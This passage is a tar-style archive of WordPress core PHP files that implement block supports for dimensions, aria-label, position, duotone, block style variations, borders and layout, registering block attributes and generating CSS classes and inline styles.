			$tags->set_attribute( 'style', $updated_style );

			if ( ! empty( $styles['classnames'] ) ) {
				foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) {
					if (
						str_contains( $class_name, 'aspect-ratio' ) &&
						! isset( $block_attributes['style']['dimensions']['aspectRatio'] )
					) {
						continue;
					}
					$tags->add_class( $class_name );
				}
			}
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'dimensions',
	array(
		'register_attribute' => 'wp_register_dimensions_support',
		'apply'              => 'wp_apply_dimensions_support',
	)
);
aria-label.php000064400000003113151024204770007246 0ustar00<?php
/**
 * Aria label block support flag.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * Registers the aria-label block attribute for block types that support it.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_aria_label_support( $block_type ) {
	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );

	if ( ! $has_aria_label_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) {
		$block_type->attributes['ariaLabel'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add the aria-label to the output.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 *
 * @return array Block aria-label.
 */
function wp_apply_aria_label_support( $block_type, $block_attributes ) {
	if ( ! $block_attributes ) {
		return array();
	}

	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );
	if ( ! $has_aria_label_support ) {
		return array();
	}

	$has_aria_label = array_key_exists( 'ariaLabel', $block_attributes );
	if ( ! $has_aria_label ) {
		return array();
	}
	return array( 'aria-label' => $block_attributes['ariaLabel'] );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'aria-label',
	array(
		'register_attribute' => 'wp_register_aria_label_support',
		'apply'              => 'wp_apply_aria_label_support',
	)
);
position.php000064400000010361151024204770007124 0ustar00<?php
/**
 * Position block support flag.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.2.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_position_support( $block_type ) {
	$has_position_support = block_has_support( $block_type, 'position', false );

	// Set up attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders position styles to the block wrapper.
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_position_support( $block_content, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$has_position_support = block_has_support( $block_type, 'position', false );

	if (
		! $has_position_support ||
		empty( $block['attrs']['style']['position'] )
	) {
		return $block_content;
	}

	$global_settings          = wp_get_global_settings();
	$theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false;
	$theme_has_fixed_support  = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false;

	// Only allow output for position types that the theme supports.
	$allowed_position_types = array();
	if ( true === $theme_has_sticky_support ) {
		$allowed_position_types[] = 'sticky';
	}
	if ( true === $theme_has_fixed_support ) {
		$allowed_position_types[] = 'fixed';
	}

	$style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null;
	$class_name      = wp_unique_id( 'wp-container-' );
	$selector        = ".$class_name";
	$position_styles = array();
	$position_type   = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : '';
	$wrapper_classes = array();

	if (
		in_array( $position_type, $allowed_position_types, true )
	) {
		$wrapper_classes[] = $class_name;
		$wrapper_classes[] = 'is-position-' . $position_type;
		$sides             = array( 'top', 'right', 'bottom', 'left' );

		foreach ( $sides as $side ) {
			$side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null;
			if ( null !== $side_value ) {
				/*
				 * For fixed or sticky top positions,
				 * ensure the value includes an offset for the logged in admin bar.
				 */
				if (
					'top' === $side &&
					( 'fixed' === $position_type || 'sticky' === $position_type )
				) {
					// Ensure 0 values can be used in `calc()` calculations.
					if ( '0' === $side_value || 0 === $side_value ) {
						$side_value = '0px';
					}

					// Ensure current side value also factors in the height of the logged in admin bar.
					$side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))";
				}

				$position_styles[] =
					array(
						'selector'     => $selector,
						'declarations' => array(
							$side => $side_value,
						),
					);
			}
		}

		$position_styles[] =
			array(
				'selector'     => $selector,
				'declarations' => array(
					'position' => $position_type,
					'z-index'  => '10',
				),
			);
	}

	if ( ! empty( $position_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render position styles.
		 */
		wp_style_engine_get_stylesheet_from_css_rules(
			$position_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		// Inject class name to block container markup.
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		foreach ( $wrapper_classes as $class ) {
			$content->add_class( $class );
		}
		return (string) $content;
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'position',
	array(
		'register_attribute' => 'wp_register_position_support',
	)
);
add_filter( 'render_block', 'wp_render_position_support', 10, 2 );
duotone.php000064400000005253151024204770006741 0ustar00<?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ),
	)
);

// Add classnames to blocks using duotone support.
add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 );
add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 );

// Enqueue styles.
// Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
// Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles).
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 );
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 );

// Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 );

// Add styles and SVGs for use in the editor via the EditorStyles component.
add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 );

// Migrate the old experimental duotone support flag.
add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 );
block-style-variations.php000064400000022312151024204770011664 0ustar00<?php
/**
 * Block support to enable per-section styling of block types via
 * block style variations.
 *
 * @package WordPress
 * @since 6.6.0
 */

/**
 * Determines the block style variation names within a CSS class string.
 *
 * @since 6.6.0
 *
 * @param string $class_string CSS class string to look for a variation in.
 *
 * @return array|null The block style variation name if found.
 */
function wp_get_block_style_variation_name_from_class( $class_string ) {
	if ( ! is_string( $class_string ) ) {
		return null;
	}

	preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches );
	return $matches[1] ?? null;
}

/**
 * Recursively resolves any `ref` values within a block style variation's data.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variation_data Reference to the variation data being processed.
 * @param array $theme_json     Theme.json data to retrieve referenced values from.
 */
function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) {
	foreach ( $variation_data as $key => &$value ) {
		// Only need to potentially process arrays.
		if ( is_array( $value ) ) {
			// If ref value is set, attempt to find its matching value and update it.
			if ( array_key_exists( 'ref', $value ) ) {
				// Clean up any invalid ref value.
				if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) {
					unset( $variation_data[ $key ] );
				}

				$value_path = explode( '.', $value['ref'] ?? '' );
				$ref_value  = _wp_array_get( $theme_json, $value_path );

				// Only update the current value if the referenced path matched a value.
				if ( null === $ref_value ) {
					unset( $variation_data[ $key ] );
				} else {
					$value = $ref_value;
				}
			} else {
				// Recursively look for ref instances.
				wp_resolve_block_style_variation_ref_values( $value, $theme_json );
			}
		}
	}
}
/**
 * Renders the block style variation's styles.
 *
 * In the case of nested blocks with variations applied, we want the parent
 * variation's styles to be rendered before their descendants. This solves the
 * issue of a block type being styled in both the parent and descendant: we want
 * the descendant style to take priority, and this is done by loading it after,
 * in the DOM order. This is why the variation stylesheet generation is in a
 * different filter.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $parsed_block The parsed block.
 *
 * @return array The parsed block with block style variation classname added.
 */
function wp_render_block_style_variation_support_styles( $parsed_block ) {
	$classes    = $parsed_block['attrs']['className'] ?? null;
	$variations = wp_get_block_style_variation_name_from_class( $classes );

	if ( ! $variations ) {
		return $parsed_block;
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$theme_json = $tree->get_raw_data();

	// Only the first block style variation with data is supported.
	$variation_data = array();
	foreach ( $variations as $variation ) {
		$variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array();

		if ( ! empty( $variation_data ) ) {
			break;
		}
	}

	if ( empty( $variation_data ) ) {
		return $parsed_block;
	}

	/*
	 * Recursively resolve any ref values with the appropriate value within the
	 * theme_json data.
	 */
	wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json );

	$variation_instance = wp_unique_id( $variation . '--' );
	$class_name         = "is-style-$variation_instance";
	$updated_class_name = $parsed_block['attrs']['className'] . " $class_name";

	/*
	 * Even though block style variations are effectively theme.json partials,
	 * they can't be processed completely as though they are.
	 *
	 * Block styles support custom selectors to direct specific types of styles
	 * to inner elements. For example, borders on Image block's get applied to
	 * the inner `img` element rather than the wrapping `figure`.
	 *
	 * The following relocates the "root" block style variation styles to
	 * under an appropriate blocks property to leverage the preexisting style
	 * generation for simple block style variations. This way they get the
	 * custom selectors they need.
	 *
	 * The inner elements and block styles for the variation itself are
	 * still included at the top level but scoped by the variation's selector
	 * when the stylesheet is generated.
	 */
	$elements_data = $variation_data['elements'] ?? array();
	$blocks_data   = $variation_data['blocks'] ?? array();
	unset( $variation_data['elements'] );
	unset( $variation_data['blocks'] );

	_wp_array_set(
		$blocks_data,
		array( $parsed_block['blockName'], 'variations', $variation_instance ),
		$variation_data
	);

	$config = array(
		'version' => WP_Theme_JSON::LATEST_SCHEMA,
		'styles'  => array(
			'elements' => $elements_data,
			'blocks'   => $blocks_data,
		),
	);

	// Turn off filter that excludes block nodes. They are needed here for the variation's inner block types.
	if ( ! is_admin() ) {
		remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	// Temporarily prevent variation instance from being sanitized while processing theme.json.
	$styles_registry = WP_Block_Styles_Registry::get_instance();
	$styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) );

	$variation_theme_json = new WP_Theme_JSON( $config, 'blocks' );
	$variation_styles     = $variation_theme_json->get_stylesheet(
		array( 'styles' ),
		array( 'custom' ),
		array(
			'include_block_style_variations' => true,
			'skip_root_layout_styles'        => true,
			'scope'                          => ".$class_name",
		)
	);

	// Clean up temporary block style now instance styles have been processed.
	$styles_registry->unregister( $parsed_block['blockName'], $variation_instance );

	// Restore filter that excludes block nodes.
	if ( ! is_admin() ) {
		add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	if ( empty( $variation_styles ) ) {
		return $parsed_block;
	}

	wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) );
	wp_add_inline_style( 'block-style-variation-styles', $variation_styles );

	/*
	 * Add variation instance class name to block's className string so it can
	 * be enforced in the block markup via render_block filter.
	 */
	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	return $parsed_block;
}

/**
 * Ensures the variation block support class name generated and added to
 * block attributes in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @since 6.6.0
 * @access private
 *
 * @see wp_render_block_style_variation_support_styles
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 *
 * @return string                Filtered block content.
 */
function wp_render_block_style_variation_class_name( $block_content, $block ) {
	if ( ! $block_content || empty( $block['attrs']['className'] ) ) {
		return $block_content;
	}

	/*
	 * Matches a class prefixed by `is-style`, followed by the
	 * variation slug, then `--`, and finally an instance number.
	 */
	preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		/*
		 * Ensure the variation instance class name set in the
		 * `render_block_data` filter is applied in markup.
		 * See `wp_render_block_style_variation_support_styles`.
		 */
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

/**
 * Enqueues styles for block style variations.
 *
 * @since 6.6.0
 * @access private
 */
function wp_enqueue_block_style_variation_styles() {
	wp_enqueue_style( 'block-style-variation-styles' );
}

// Register the block support.
WP_Block_Supports::get_instance()->register( 'block-style-variation', array() );

add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 );
add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 );

/**
 * Registers block style variations read in from theme.json partials.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variations Shared block style variations.
 */
function wp_register_block_style_variations_from_theme_json_partials( $variations ) {
	if ( empty( $variations ) ) {
		return;
	}

	$registry = WP_Block_Styles_Registry::get_instance();

	foreach ( $variations as $variation ) {
		if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) {
			continue;
		}

		$variation_name  = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
		$variation_label = $variation['title'] ?? $variation_name;

		foreach ( $variation['blockTypes'] as $block_type ) {
			$registered_styles = $registry->get_registered_styles_for_block( $block_type );

			// Register block style variation if it hasn't already been registered.
			if ( ! array_key_exists( $variation_name, $registered_styles ) ) {
				register_block_style(
					$block_type,
					array(
						'name'  => $variation_name,
						'label' => $variation_label,
					)
				);
			}
		}
	}
}
border.php000064400000014426151024204770006543 0ustar00<?php
/**
 * Border block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style attribute used by the border feature if needed for block
 * types that support borders.
 *
 * @since 5.8.0
 * @since 6.1.0 Improved conditional blocks optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_border_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
		$block_type->attributes['borderColor'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for border styles to the incoming
 * attributes array. This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Border CSS classes and inline styles.
 */
function wp_apply_border_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
		return array();
	}

	$border_block_styles      = array();
	$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
	$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );

	// Border radius.
	if (
		wp_has_border_feature_support( $block_type, 'radius' ) &&
		isset( $block_attributes['style']['border']['radius'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
	) {
		$border_radius = $block_attributes['style']['border']['radius'];

		if ( is_numeric( $border_radius ) ) {
			$border_radius .= 'px';
		}

		$border_block_styles['radius'] = $border_radius;
	}

	// Border style.
	if (
		wp_has_border_feature_support( $block_type, 'style' ) &&
		isset( $block_attributes['style']['border']['style'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
	) {
		$border_block_styles['style'] = $block_attributes['style']['border']['style'];
	}

	// Border width.
	if (
		$has_border_width_support &&
		isset( $block_attributes['style']['border']['width'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
	) {
		$border_width = $block_attributes['style']['border']['width'];

		// This check handles original unitless implementation.
		if ( is_numeric( $border_width ) ) {
			$border_width .= 'px';
		}

		$border_block_styles['width'] = $border_width;
	}

	// Border color.
	if (
		$has_border_color_support &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
	) {
		$preset_border_color          = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
		$custom_border_color          = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
		$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
	}

	// Generates styles for individual border sides.
	if ( $has_border_color_support || $has_border_width_support ) {
		foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
			$border                       = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
			$border_side_values           = array(
				'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
				'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
				'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
			);
			$border_block_styles[ $side ] = $border_side_values;
		}
	}

	// Collect classes and styles.
	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Checks whether the current block type supports the border feature requested.
 *
 * If the `__experimentalBorder` support flag is a boolean `true` all border
 * support features are available. Otherwise, the specific feature's support
 * flag nested under `experimentalBorder` must be enabled for the feature
 * to be opted into.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string        $feature       Name of the feature to check support for.
 * @param mixed         $default_value Fallback value for feature support, defaults to false.
 * @return bool Whether the feature is supported.
 */
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
	// Check if all border support features have been opted into via `"__experimentalBorder": true`.
	if ( $block_type instanceof WP_Block_Type ) {
		$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
			? $block_type->supports['__experimentalBorder']
			: $default_value;
		if ( true === $block_type_supports_border ) {
			return true;
		}
	}

	// Check if the specific feature has been opted into individually
	// via nested flag under `__experimentalBorder`.
	return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'border',
	array(
		'register_attribute' => 'wp_register_border_support',
		'apply'              => 'wp_apply_border_support',
	)
);
layout.php000064400000115005151024204770006576 0ustar00<?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Returns layout definitions, keyed by layout type.
 *
 * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
 * When making changes or additions to layout definitions, the corresponding JavaScript definitions should
 * also be updated.
 *
 * @since 6.3.0
 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity.
 * @access private
 *
 * @return array[] Layout definitions.
 */
function wp_get_layout_definitions() {
	$layout_definitions = array(
		'default'     => array(
			'name'          => 'default',
			'slug'          => 'flow',
			'className'     => 'is-layout-flow',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'constrained' => array(
			'name'          => 'constrained',
			'slug'          => 'constrained',
			'className'     => 'is-layout-constrained',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
					'rules'    => array(
						'max-width'    => 'var(--wp--style--global--content-size)',
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > .alignwide',
					'rules'    => array(
						'max-width' => 'var(--wp--style--global--wide-size)',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'flex'        => array(
			'name'          => 'flex',
			'slug'          => 'flex',
			'className'     => 'is-layout-flex',
			'displayMode'   => 'flex',
			'baseStyles'    => array(
				array(
					'selector' => '',
					'rules'    => array(
						'flex-wrap'   => 'wrap',
						'align-items' => 'center',
					),
				),
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
		'grid'        => array(
			'name'          => 'grid',
			'slug'          => 'grid',
			'className'     => 'is-layout-grid',
			'displayMode'   => 'grid',
			'baseStyles'    => array(
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
	);

	return $layout_definitions;
}

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @since 6.3.0 Added grid layout type.
 * @since 6.6.0 Removed duplicated selector from layout styles.
 *              Enabled negative margins for alignfull children of blocks with custom padding.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);
		}

		if ( isset( $block_spacing ) ) {
			$block_spacing_values = wp_style_engine_get_styles(
				array(
					'spacing' => $block_spacing,
				)
			);

			/*
			 * Handle negative margins for alignfull children of blocks with custom padding set.
			 * They're added separately because padding might only be set on one side.
			 */
			if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
				$padding_right = $block_spacing_values['declarations']['padding-right'];
				// Add unit if 0.
				if ( '0' === $padding_right ) {
					$padding_right = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
				);
			}
			if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
				$padding_left = $block_spacing_values['declarations']['padding-left'];
				// Add unit if 0.
				if ( '0' === $padding_left ) {
					$padding_left = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
				);
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
